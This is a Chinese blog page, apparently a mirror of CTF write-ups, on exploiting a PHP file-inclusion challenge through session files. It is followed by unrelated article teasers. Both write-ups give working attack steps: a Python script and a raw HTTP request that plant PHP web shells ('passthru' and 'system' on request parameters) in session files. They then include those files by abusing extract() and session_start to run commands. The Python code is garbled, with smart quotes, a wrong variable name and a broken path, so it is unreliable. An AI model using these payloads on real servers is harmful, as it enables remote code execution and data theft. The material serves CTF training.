当前位置: 首页 > news >正文

文件包含-session2

[题目信息]:

题目名称题目难度
文件包含-session22

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2098

[题目writeup]:

1、实验主页

2、题解分析

#!/usr/bin/env python
# coding: utf-8

from time import sleep
import requests

url = ‘url’

s = requests.session()

def execute(cmd):
params = {
‘file’: ‘<?php passthru($POST[“cmd”]); ?>’
}
r = s.get(url, params=params)
params[‘file’] = '/tmp/sess
’ + r.cookies[‘PHPSESSID’]

r = s.post(url, params=params, data={'cmd': cmd})
return r.text

print execute(‘cat /flag’)








[题目信息]:

题目名称题目难度
文件包含-session2

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2090

[题目writeup]:

1、实验主页

2、题解分析

<?phphighlight_file(__FILE__);error_reporting(0);ini_set('open_basedir', '/var/www/html:/tmp');$file = 'function.php';$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET);include($file);session_start();$_SESSION['name'] = $_POST['name'];if($_SESSION['name']=='admin'){header('location:admin.php');}
?>

分析题目源码,可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] = $_POST[‘name’] 可控

其中 call_user_func($func,$_GET); 回调函数可利用

而且 include($file); 调用了文件包含

所以,可以调用变量覆盖函数,覆盖掉 $file ,从而引入文件包含

?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

利用文件包含读到了admin.php和function.php的源码,然而这两个文件源码对解题没有什么帮助。

从index.php可以看出 $_SESSION[‘name’] = $_POST[‘name’] ,session的值可控,session默认的保存位置如下

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) ,我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session,所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数,修改session的位置

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>

然后进行包含session

/index.php?function=extract&file=/tmp/sess_056395276464d1b4480bc1457efbb106&x=cat+fsadgsdagsadgasd.php

相关文章:

文件包含-session2

[题目信息]&#xff1a; 题目名称题目难度文件包含-session22 [题目考点]&#xff1a; 由于网站功能需求&#xff0c;会让前端用户选择要包含的文件&#xff0c;而开发人员又没有对要包含的文件进行安全考虑&#xff0c;就导致攻击者可以通过修改文件的位置来让后台执行任意…...

GitHub免密操作与跨服务器通行:SSH密钥一站式配置指南

作为开发者,与GitHub的安全交互和远程服务器的高效管理是日常工作的核心技能。本文将从零开始,教你如何配置GitHub的SSH密钥认证,并实现免密码远程登录Linux服务器。 一、为什么需要SSH密钥? 更安全的认证方式:相比传统密码,密钥认证几乎无法被暴力破解操作便捷性:免去每…...

PHP入门基础学习四(PHP基本语法)

运算符 运算符&#xff0c;专门用于告诉程序执行特定运算或逻辑操作的符号。根据运算符的作用&#xff0c;可以将PHP语言中常见的运算符分为9类 算数运算符&#xff1a; 是用来处理加减乘除运算的符号 也是最简单和最常用的运算符号 赋值运算符 1. 是一个二元运算符&#x…...

模型蒸馏:让人工智能更智能、更小、更高效的艺术

你有没有想过,我们如何才能让一个需要巨大计算能力的庞大人工智能模型变得更精简、更快速、更强大?答案在于模型蒸馏,这是一种允许知识从大型、计算成本高昂的人工智能系统转移到较小、更高效的系统的技术,而不会牺牲智能。 什么是模型蒸馏 模型蒸馏是一种技术,其…...

git 小乌龟安装包及中文包

git 工具小乌龟不需要输入命令就可以提交&#xff0c;挺方便的&#xff0c;安装完之后鼠标右击就可以看到 链接: https://pan.baidu.com/s/1jqrcrFjKf-bKGcHesxs-YQ 提取码: 8888 复制这段内容后打开百度网盘手机App&#xff0c;操作更方便哦...

MySQL 主从集群同步延迟问题分析与解决方案

MySQL 主从复制&#xff08;Replication&#xff09;是构建高可用架构的核心技术&#xff0c;但在实际应用中&#xff0c;主从同步延迟&#xff08;Replication Lag&#xff09;是常见且棘手的问题。延迟会导致从库数据不一致、读请求返回旧数据&#xff0c;甚至引发业务逻辑错…...

用HTML5+CSS+JavaScript实现新奇挂钟动画

用HTML5+CSS+JavaScript实现新奇挂钟动画 引言 在技术博客中,如何吸引粉丝并保持他们的关注?除了干货内容,独特的视觉效果也是关键。今天,我们将通过HTML5、CSS和JavaScript实现一个新奇挂钟动画,并将其嵌入到你的网站中。这个动画不仅能让你的网站脱颖而出,还能展示你的…...

医疗AI领域中GPU集群训练的关键技术与实践经验探究(下)

五、医疗 AI 中 GPU 集群架构设计 5.1 混合架构设计 5.1.1 参数服务器与 AllReduce 融合 在医疗 AI 的 GPU 集群训练中,混合架构设计将参数服务器(Parameter Server)与 AllReduce 相结合,能够充分发挥两者的优势,提升训练效率和模型性能。这种融合架构的设计核心在于根…...

解决双系统开机显示gnu grub version 2.06 Minimal BASH Like Line Editing is Supported

找了好多教程都没有用&#xff0c;终于解决了&#xff01;&#xff01;我是因为ubuntu分区的时候出问题了 问题描述&#xff1a; 双系统装好&#xff0c;隔天开机找不到引导项&#xff0c;黑屏显示下列 因为我用的D盘划分出来的部分空闲空间&#xff0c;而不是全部&#xff0c…...

sysbench压测pgsql数据库 —— 筑梦之路

这里主要使用sysbench工具对Pgsql数据库进行基准测试。 1. 创建数据库和用户名 # 创建用户和数据库CREATE USER sysbench WITH PASSWORD 123456;CREATE DATABASE sysbench owner sysbench;# 给用户授权访问 vim pg_hba.confhost sysbench sysbench 127…...

数字IC后端培训教程| 芯片后端实战项目中base layer drc violation解析

今天分享一个咱们社区IC后端训练营学员遇到的一个经典DRC案例。这个DRC Violation的名字为PP.S.9(这里的PP就是Plus P)。这一层是属于管子的base layer。更多关于base layer的介绍&#xff0c;可以查看下面这份教程。 https://alidocs.dingtalk.com/api/doc/transit?spaceId5…...

Android之APP更新(通过接口更新)

文章目录 前言一、效果图二、实现步骤1.AndroidManifest权限申请2.activity实现3.有版本更新弹框UpdateappUtilDialog4.下载弹框DownloadAppUtils5.弹框背景图 总结 前言 对于做Android的朋友来说&#xff0c;APP更新功能再常见不过了&#xff0c;因为平台更新审核时间较长&am…...

什么是 OCP 数据库专家

OCP 即 Oracle Certified Professional&#xff0c;Oracle 认证专业人员&#xff0c;代表持证人在 Oracle 数据库领域具备专业的技能和知识。获得 OCP 数据库专家认证意味着你在 Oracle 数据库管理、开发、优化等方面达到了较高的水平&#xff0c;能够独立承担复杂的数据库相关…...

基于AT89C51单片机的教室智能照明控制系统

点击链接获取Keil源码与Project Backups仿真图&#xff1a; https://download.csdn.net/download/qq_64505944/90419908?spm1001.2014.3001.5501 C16 部分参考设计如下&#xff1a; 摘 要 本项目的智能教室灯光控制系统通过合理的软硬件设计&#xff0c;有效地提升了教室…...

DIP的实际举例

SOLID原则。 依赖倒置原则&#xff08;DIP&#xff09;的核心是高层模块不应该依赖于低层模块&#xff0c;二者都应该依赖于抽象&#xff08;接口或抽象类&#xff09; 例如&#xff0c;随着业务的发展&#xff0c;订单总金额的计算规则可能需要根据不同的客户类型或促销活动…...

DeepSeek引领目标检测新趋势:如何通过知识蒸馏优化模型性能

目录 一、知识蒸馏是什么&#xff1f; 二、知识蒸馏在目标检测中的重要性 提升实时性 跨任务迁移学习 三、如何使用知识蒸馏优化目标检测&#xff1f; 训练教师模型 生成软标签 训练学生模型 调节温度参数 多教师蒸馏&#xff08;可选&#xff09; 四、案例分享 定…...

vue2.x 中父组件通过props向子组件传递数据详细解读

1. 父组件向子组件传递数据的步骤 在子组件中定义 props&#xff1a; 子组件通过 props 选项声明它期望接收的数据。props 可以是数组形式&#xff08;简单声明&#xff09;或对象形式&#xff08;支持类型检查和默认值&#xff09;。 在父组件中使用子组件时绑定 props&#x…...

安装PHPStudy 并搭建DVWA靶场

目录 一、PHPStudy 简介 二、DVWA 简介 三、安装 PHPStudy 四&#xff1a;安装 DVWA 一、PHPStudy 简介 phpstudy傻瓜式的一键启动&#xff0c;支持WAMP、WNMP、LAMP、LNMP&#xff0c;一键切换环境&#xff08;nginxapahce&#xff09;,一键切换PHP版本&#xff08;5.1-7…...

RoCBert:具有多模态对比预训练的健壮中文BERT

摘要 大规模预训练语言模型在自然语言处理&#xff08;NLP&#xff09;任务上取得了最新的最优结果&#xff08;SOTA&#xff09;。然而&#xff0c;这些模型容易受到对抗攻击的影响&#xff0c;尤其是对于表意文字语言&#xff08;如中文&#xff09;。 在本研究中&#xff0…...

【C】堆的应用1 -- 堆排序

之前学习了堆&#xff0c;堆的一棵以顺序结构存储的完全二叉树&#xff0c;堆本身又氛围大根堆和小根堆&#xff0c;假设以大根堆为例&#xff0c;由于堆顶部元素是一棵二叉树里面最大的元素&#xff0c;所以如果每次都取堆顶的元素&#xff0c;那么取出的元素就是一个降序排列…...

【Python】 -- 趣味代码 - 小恐龙游戏

文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...

C++初阶-list的底层

目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

【入坑系列】TiDB 强制索引在不同库下不生效问题

文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

遍历 Map 类型集合的方法汇总

1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括&#xff1a;采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中&#xff0c;设置任务排序规则尤其重要&#xff0c;因为它让看板视觉上直观地体…...

(二)TensorRT-LLM | 模型导出(v0.20.0rc3)

0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述&#xff0c;后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作&#xff0c;其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...

CMake基础:构建流程详解

目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表

1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...

【python异步多线程】异步多线程爬虫代码示例

claude生成的python多线程、异步代码示例&#xff0c;模拟20个网页的爬取&#xff0c;每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程&#xff1a;允许程序同时执行多个任务&#xff0c;提高IO密集型任务&#xff08;如网络请求&#xff09;的效率…...

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法&#xff1a;使用 MyBatis 的 <foreach> 标签和批处理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 标签&#xff…...